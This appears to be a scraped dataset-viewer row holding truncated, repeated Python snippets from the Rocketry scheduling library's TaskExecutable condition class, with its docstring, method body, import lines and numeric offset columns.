Useful to set the given task to run once
in given period.
Examples
--------
**Parsing example:**
>>> from rocketry.parse import parse_condition
>>> parse_condit... | class TaskExecutable(BaseCondition):
"""Condition for checking whether a given
task has not finished (for given period).
Useful to set the given task to run once
in given period.
Examples
--------
**Parsing example:**
>>> from rocketry.parse import parse_condition
>>> parse_condit... | task = self.task if self.task is not None else task
period = self.period
retries = 0 if self.retries is None else self.retries
# Form the sub statements
has_not_succeeded = TaskSucceeded(period=period, task=task) == 0
has_not_inacted = TaskInacted(period=period, task=tas... | task = self.task if self.task is not None else task
period = self.period
retries = 0 if self.retries is None else self.retries
# Form the sub statements
has_not_succeeded = TaskSucceeded(period=period, task=task) == 0
has_not_inacted = TaskInacted(period=period, task=tas... | 124 | 471 | 378 | 849 | from typing import Optional
import datetime
from redbird.oper import in_, greater_equal, between
from rocketry.core.condition import BaseCondition, BaseComparable
from rocketry.log.utils import get_field_value
from rocketry.pybox.time import to_timestamp
from rocketry.time.construct import get_before, get_between, ge... | from typing import Optional
import datetime
from redbird.oper import in_, greater_equal, between
from rocketry.core.condition import BaseCondition, BaseComparable
from rocketry.log.utils import get_field_value
from rocketry.pybox.time import to_timestamp
from rocketry.time.construct import get_before, get_between, ge... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.